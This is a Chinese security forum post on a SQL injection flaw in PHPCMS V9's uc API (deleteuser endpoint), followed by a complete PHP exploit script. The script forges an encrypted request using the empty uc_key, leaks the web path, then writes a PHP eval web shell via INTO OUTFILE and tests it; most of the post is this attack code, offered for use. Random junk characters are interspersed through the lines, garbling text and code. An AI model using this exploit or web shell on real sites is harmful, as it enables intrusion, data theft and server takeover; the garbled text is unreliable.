找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1891|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。2 @( l& D6 {( R6 D/ i; N
( |/ j/ V' [+ I* e7 ]" Z
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
  H7 ^/ Y: r4 |  M, {+ t. w+ |" T/ u5 E6 @. l0 i8 j; w3 S
漏洞分析:
1 ?- g9 _. |2 ^& [& F6 c% h( q( Y1.未启用ucenter服务的情况下uc_key为空* h1 c& a3 p/ p8 N% K" W
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
" m# ~! T+ ?: H* O& m2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
2 n% a7 f- Z$ s% d. M8 {# i    public function deleteuser($get,$post) {$ A8 ]2 a" r1 c3 [+ Z. `
        pc_base::load_app_func('global', 'admin');' _$ `9 |; Z( b. u1 H
        pc_base::load_app_class('messagequeue', 'admin' , 0);( l* Z* [+ o0 ^
        $ids = new_stripslashes($get['ids']);6 w0 T: [' b0 N7 t4 t7 K( }! U
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");/ a4 C3 A( G2 H  c6 T
SQL语句为
/ L- n" ]' L! X' V0 i; K) qSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
$ D& w9 R$ E3 A* T4 }; o0 @. ^5 U* k8 j( F, n5 E, t5 j* F7 u
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell) ~* t( {* b, {8 s# c
<?php6 ]. P( E1 L/ s9 q0 D
print_r('5 C; f& f0 L1 F( j
---------------------------------------------------------------------------% v- g1 D7 b9 |! T! |8 D$ S5 Y
PHPcms (v9 or Old Version) uc api sql injection 0day$ ?! ^, n7 S* K, v3 i
by rayh4c#80sec.com
+ u+ R$ ~* G4 y) ?---------------------------------------------------------------------------
2 J! ~) W5 y, f, m' c: h5 V');/ l: ^' a+ U9 j7 V8 |* F# I
+ x0 e9 i" f0 R; s5 C$ n* g
if ($argc<3) {
7 j  Z5 i) J3 N0 n    print_r('/ i3 f  D3 X4 H" [
---------------------------------------------------------------------------: R8 N5 {8 {0 s/ f- M! l5 `
Usage: php '.$argv[0].' host path OPTIONS
# V+ z$ r7 t$ z( Jhost:      target server (ip/hostname)8 O, ^7 k! B: r/ G1 }% |& @
path:      path to phpcms4 Q/ F5 J' g* q- ^% T+ W: m% E8 _, p
Options:* O# z# V8 q/ p/ c
-p[port]:    specify a port other than 80
7 S3 L" S! s6 V$ a/ B. E! k" S8 a6 C -P[ip:port]: specify a proxy
" J1 Y& m# @4 w+ }% c* lExample:
4 g8 V& n. x9 a4 r1 {1 U  ^php '.$argv[0].' localhost /
2 }% P, G6 p# s$ G, M& ?+ x3 hphp '.$argv[0].' localhost /phpcms/ -p81
0 H. P* s4 q4 u% dphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80, E* g/ c" R+ |$ {* T1 r
---------------------------------------------------------------------------- a7 f) V/ a, b, G! |* L
');; H! }, z& j0 j+ j) D- H; o( g
    die;
1 O" u, D1 L& Z5 S: G}
8 B( t0 Q$ d; ?, X
3 ~: G5 G0 D' \1 {7 ]. M8 I# s. werror_reporting(7);
, ~- x: K  m7 k1 Hini_set("max_execution_time",0);+ F7 z' K$ \( i8 j2 i
ini_set("default_socket_timeout",5);
+ r2 n2 s- p" P  G0 O- u3 R
# V$ w: k2 Q- {/ m$ J2 I. a. ]function quick_dump($string)
5 g+ {) k* E6 r) u' Y{
8 n0 _! m5 M5 I1 L4 b8 V0 `: K  $result='';$exa='';$cont=0;" y( l# `+ U+ y9 a- P' ^, M  Y! C
  for ($i=0; $i<=strlen($string)-1; $i++)  P9 j# ?4 w! Q" _% ~; ?; ]! L& t5 Q
  {
. b' p. c& n. \+ K   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
8 ]; D; @) d  E, x9 v5 u   {$result.="  .";}* U' t) ^8 l" R
   else4 r, Y3 \" t6 `' s4 x
   {$result.="  ".$string[$i];}0 W0 C. G" N+ A& T# M
   if (strlen(dechex(ord($string[$i])))==2)
6 `* r' S) J$ C1 X   {$exa.=" ".dechex(ord($string[$i]));}
0 u* p$ e4 t* P. U) g5 O   else
; u( v4 @4 b# K7 F   {$exa.=" 0".dechex(ord($string[$i]));}; y, T9 Y2 ]4 m9 q: g# z, f
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
( F4 A7 q! E$ S( t: z  }+ v+ _9 y/ Q& G7 ]/ x
return $exa."\r\n".$result;
( O" H2 t) b3 E4 n: o2 b}
. ]8 v& }) O+ O/ o" R2 f$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
' d8 P# ?- e8 F2 z' \! f6 t3 @9 v4 @5 R2 l" E0 k
function send($packet)- F/ i5 \4 c( ]/ O' l5 f
{6 s7 {: \$ L& H1 _: b) ]
  global $proxy, $host, $port, $html, $proxy_regex;9 ?" f5 r: d' u! W' }9 L, L
  if ($proxy=='') {
* P% A9 A, R7 _) ^    $ock=fsockopen(gethostbyname($host),$port);+ R) T, y( B6 ~: b" B
    if (!$ock) {% A5 T; a: c2 s& j: R  B
      echo 'No response from '.$host.':'.$port; die;# w$ ~. p. m1 y
    }2 C% G* Q9 H8 e2 L3 L& i& r  }
  }5 L2 z9 }& O2 ^" w
  else {9 v, G" I; R0 i
        $c = preg_match($proxy_regex,$proxy);
9 L) Q' A  K0 L! t. V$ \    if (!$c) {
7 _+ U6 T! n, k/ A      echo 'Not a valid proxy...';die;" v  V. @8 w6 K
    }- q5 `3 ]( [/ ~4 i7 L. Y
    $parts=explode(':',$proxy);! a1 Y+ {" T3 l" N$ e. N" h5 P
    $parts[1]=(int)$parts[1];7 h/ h( u' f& d3 w$ U
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
' n! \: F) ?6 K4 [' t* T    $ock=fsockopen($parts[0],$parts[1]);
& b2 t9 b! M. I2 d    if (!$ock) {/ M) O2 H/ \6 {. K8 g% |) I
      echo 'No response from proxy...';die;8 E# Y8 [' x/ n: f) n
        }
* ?: z4 c8 a6 {2 D  }" M: l# Q: W9 r/ ^
  fputs($ock,$packet);
, a$ ~( n- }, m3 X- D/ @9 u  if ($proxy=='') {8 w' C5 L1 B' A9 K# Y( {: U5 d: Y
    $html='';- t9 h- T( n) _. N* Y* o) A: O
    while (!feof($ock)) {; B9 Q( [7 ^  m
      $html.=fgets($ock);/ b. P7 Z" ?0 C% e5 \' R
    }
7 `  w) Z# P/ v9 x6 k" u  }2 F3 ~. Q: p: v* [3 q: z
  else {
3 S) L/ I4 s8 i7 g, U    $html='';; M% F, e# Y( S! i
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
( R% L4 l  z9 u- y8 j% q4 _      $html.=fread($ock,1);5 q" ], C7 b8 y5 j& `: m
    }
3 f, v$ t0 e) x0 k  }
; X5 D2 }* f1 x  fclose($ock);7 g6 A0 F- B, x% V8 [2 H0 L& M9 j: F
}
* @2 w* G. l8 z! h
5 t% H. G5 W" ?2 k# L$host=$argv[1];# q  R9 L6 d( c" B
$path=$argv[2];7 L+ E( O0 Q- d$ K
$port=80;2 ~1 b/ T# o4 ~7 \! C
$proxy="";
3 k1 l3 h( V; Ufor ($i=3; $i<$argc; $i++){; u# D! H$ E6 W1 G/ V: f' |
$temp=$argv[$i][0].$argv[$i][1];/ D- C7 Y. h! v; X
if ($temp=="-p")! j* r; P0 b& W. S+ Z9 S
{
- U  V) e: B7 \  }* L9 q$ T8 y  $port=(int)str_replace("-p","",$argv[$i]);% e6 S+ I0 r, E. C6 i9 j
}8 V; r7 ]( c6 O6 p$ u4 `
if ($temp=="-P")( f/ z8 q, }8 t9 }+ m) t+ w
{! O% F6 \$ z+ N+ t
  $proxy=str_replace("-P","",$argv[$i]);' L! }# `/ x+ M. K
}
% r1 j. z9 x2 M4 e8 @0 x}
0 [3 r( W0 r& |" z9 Y; F8 C# F* y0 {5 @
; X1 n: E  E6 h/ D/ ~! M1 ~if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
6 O8 F1 O; q6 z0 u& }if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 I* w  t0 }2 W6 H# C- e9 Q( A$ n( g0 I; E$ Z
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {- {; e( [4 p7 E: v1 z
3 g: o6 w' z0 {. E: _! [8 K" s! ]
    $ckey_length = 4;
% R0 M/ h+ R- d0 g
+ W! l! B/ ?7 t    $key = md5($key ? $key : '');5 a& c0 a4 [- {: D3 r$ y" Y
    $keya = md5(substr($key, 0, 16));  {. ?' t5 v0 D, V" U' U
    $keyb = md5(substr($key, 16, 16));
* a4 H; `9 P/ E    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$ Z- B; @6 D6 A8 ?

; h9 V' q# Y0 a& ~- r0 C7 G+ _9 G4 |    $cryptkey = $keya.md5($keya.$keyc);
% `1 ~: ~2 {0 ?. p+ O7 P    $key_length = strlen($cryptkey);
' Z) D: v* u  g
# W6 |- K4 }; B  T    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
& ^& K* R9 S+ O7 {) y2 R4 o    $string_length = strlen($string);. I1 v+ _( `7 C- m

& l- ^# f6 \; E1 D5 h% p. I    $result = '';
) N# ]) L; H. y    $box = range(0, 255);: D# l2 I3 e- W
. {6 O6 i1 r) R, r) ?
    $rndkey = array();: i4 p$ j) _& e* |& Q. a
    for($i = 0; $i <= 255; $i++) {: Z, V' `$ W& g' p0 m4 h2 d
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
- D& }, B7 }- a% R2 [9 n; I    }1 j5 V" C/ k: Y. u: d0 z
# S& \; k( q; Y9 w2 z& d7 i
    for($j = $i = 0; $i < 256; $i++) {' D$ f4 C1 |* H4 t& v" s/ s* Z
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;, H* x$ a8 j/ I: F8 e" y
        $tmp = $box[$i];
" n$ R( l* _6 D+ V        $box[$i] = $box[$j];7 f8 K. r5 F6 o; z' e
        $box[$j] = $tmp;
8 i2 J; ~' T9 N7 o4 C    }. s  j6 K2 ~" V+ z' l3 o

( j' A1 Q2 o4 R+ I& K* y    for($a = $j = $i = 0; $i < $string_length; $i++) {
+ w0 p  f! Z! ]1 ]        $a = ($a + 1) % 256;
" X) A. \4 h/ I/ ?  `; n        $j = ($j + $box[$a]) % 256;1 \* |* N) y# b2 I4 L. H
        $tmp = $box[$a];
# c1 ]" Y& ~, N. V8 w# |6 s4 E: @, _        $box[$a] = $box[$j];
( d8 o& Y: e' D! a2 D% w        $box[$j] = $tmp;4 K% [4 @$ ]' F% h" S
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
; {: S6 z% ?/ }5 ~    }
" H; B) R* a6 T! p4 `
" ^" V9 W, U2 O/ p: }; Q1 ~8 `    if($operation == 'DECODE') {
! W/ j2 G/ K9 h) Y3 M4 _        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {( u" v4 @9 d" a0 D
            return substr($result, 26);
4 L! |! C" F( {) ^  E6 C        } else {
  ~, B6 ?9 z9 u' f  @! ?            return '';
5 k1 l8 g4 R/ L, _! w) I3 M1 R; w        }
# g7 v7 D( n; w, V    } else {
- M: S2 Z+ v$ _( ^        return $keyc.str_replace('=', '', base64_encode($result));
2 M$ m- b/ j+ t    }/ }6 r% {0 D2 [2 V7 h; `" c6 Y
3 N1 K4 \3 ~5 F1 S/ ^  \3 W7 y4 D2 Z
}
9 n5 p- U3 r* {7 k; E
9 K! W+ y% [/ F  f4 t$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";* b& d6 a  U( g
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
, Z& K2 W; l" ?; G! R, U* uecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 t! \6 E/ F! H8 V
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
  k) d: N2 ^9 Q1 P+ k$packet.="User-Agent: Mozilla/5.0\r\n";
5 i3 K) a7 I& `4 X' [. H( X$packet.="Host: ".$host."\r\n";
* B6 N/ d' P# r% s" m: _$packet.="Connection: Close\r\n\r\n";5 F6 l; f0 f' x6 W% E9 ~
send($packet);" O) @5 b  ]; L8 O& e
if(strpos($html,"MySQL Errno") > 0){
* B# I5 b5 }  _+ techo "[2] 发现存在SQL注入漏洞"."\n";
% s" |3 d* v% r6 U2 @echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";* P' E4 `, ^" n. t
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
3 ~/ ?, k, f2 ^# y/ M4 s$ V; Q$packet.="User-Agent: Mozilla/5.0\r\n";4 c8 @; H0 R* |* T, h9 W4 u2 T
$packet.="Host: ".$host."\r\n";
) V6 K& r/ L$ r: A4 D" d$packet.="Connection: Close\r\n\r\n";8 D, j  P6 l4 u& Q7 R' R3 L$ b0 v
send($packet);0 w; }  c1 f2 k4 m0 H
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);, |5 u2 n+ {% \  v
//print_r($matches);
% K- R* r/ x" [1 ^: [  `+ Zif(!empty($matches)){( O, Q8 m; y& g
echo "[4] 得到web路径 " . $matches[0]."\n";6 Y/ L/ N' r5 }% z( X
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 u$ Y, S7 d7 V  p3 p9 q$SQL = "time=999999999999999999999999&ids=1)";
4 C  \; K1 e  K$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";3 @9 ~4 b# f8 H) r
$SQL.="&action=deleteuser";
* H% p$ q4 N2 }1 |  d$ E3 T$SQL = urlencode(authcode($SQL, "ENCODE", ""));
% [! t: J# r3 z# \; T  W# zecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";/ v% R$ ?* ^+ J) {! E6 {/ W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 `5 u  {- }/ G0 G5 n2 Q) o. Q6 I$packet.="User-Agent: Mozilla/5.0\r\n";+ r' y1 j* T% Z6 O; z0 e- H) Y
$packet.="Host: ".$host."\r\n";( |+ U! e9 E1 j/ o+ v
$packet.="Connection: Close\r\n\r\n";" Z4 h" R# C8 \' w- x5 p
send($packet);
1 Z0 F/ M. u  i  zif(strpos($html,"Access denied") > 0){
4 ?5 l) {" u9 g5 c' B2 W0 Secho "[-] MYSQL权限过低 禁止写入文件 ";
$ v/ C1 w- V2 g# p* ?2 k* T: @! Rdie;
* n* P) u$ ~- c% s' K* z}9 A$ ?8 v1 e* w7 w0 U9 w
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
& w3 J; a9 N9 I$ }* r. y$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% F; y6 E' p  A- ~" I5 ^
$packet.="User-Agent: Mozilla/5.0\r\n";! y4 B+ C! U# e
$packet.="Host: ".$host."\r\n";
/ Y5 N& C( N( d3 Q$packet.="Connection: Close\r\n\r\n";5 _! U% Z5 v% a! E
send($packet);
5 g, `5 n) w# L5 m( I" G2 y" mif(strpos($html,"<title>phpinfo()</title>") > 0){/ X9 f4 J% }8 f3 E6 w1 Y/ E
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";: K9 b8 b4 b$ ~7 _7 ?- i
}) j4 ^* a' o; D) t
}else{
, }0 d  i! ]' ]4 n8 @; |echo "[-]未取到web路径 ";
4 u' h& [$ \6 I- E}% l* D. d5 Q1 S& x
}else{
( N  _- z" M4 ?3 y3 |) H7 K; Yecho "[*]不存在SQL注入漏洞"."\n";. w- \) \% M8 h
}
: b, G4 k# r8 y/ E
1 T4 e0 N, s' B1 j?>
2 g) N! l/ [! @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表